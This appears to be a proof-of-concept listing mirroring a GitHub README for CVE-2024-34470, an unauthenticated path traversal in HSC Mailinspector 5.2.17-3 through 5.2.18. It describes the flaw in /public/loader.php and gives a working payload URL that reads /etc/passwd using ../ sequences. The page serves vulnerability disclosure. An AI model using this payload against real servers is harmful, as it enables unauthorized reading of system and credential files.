CVE-2024-34470 PoC — HSC Cybersecurity HC Mailinspector 路径遍历漏洞

Source

https://github.com/osvaldotenorio/CVE-2024-34470

Associated Vulnerability

Title:HSC Cybersecurity HC Mailinspector 路径遍历漏洞 (CVE-2024-34470)
Description:An issue was discovered in HSC Mailinspector 5.2.17-3 through v.5.2.18. An Unauthenticated Path Traversal vulnerability exists in the /public/loader.php file. The path parameter does not properly filter whether the file and directory passed are part of the webroot, allowing an attacker to read arbitrary files on the server.

Readme

# CVE-2024-34470

**Description:** An Unauthenticated user can abuse Path Traversal vulnerability exists in the `/public/loader.php` file. The `path` parameter does not properly filter whether the file and directory passed are part of the webroot, allowing an attacker to read arbitrary files on the server.

**Versions:** Discovered in HSC Mailinspector 5.2.17-3 but applicable to all versions up to 5.2.18.

## Proof of Concept

By adding `../` to the file path, it's possible to traverse directories and read any files in the operating system with read permission:

> Payload: `/mailinspector/public/loader.php?path=../../../../../../../etc/passwd`

![](image.png)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →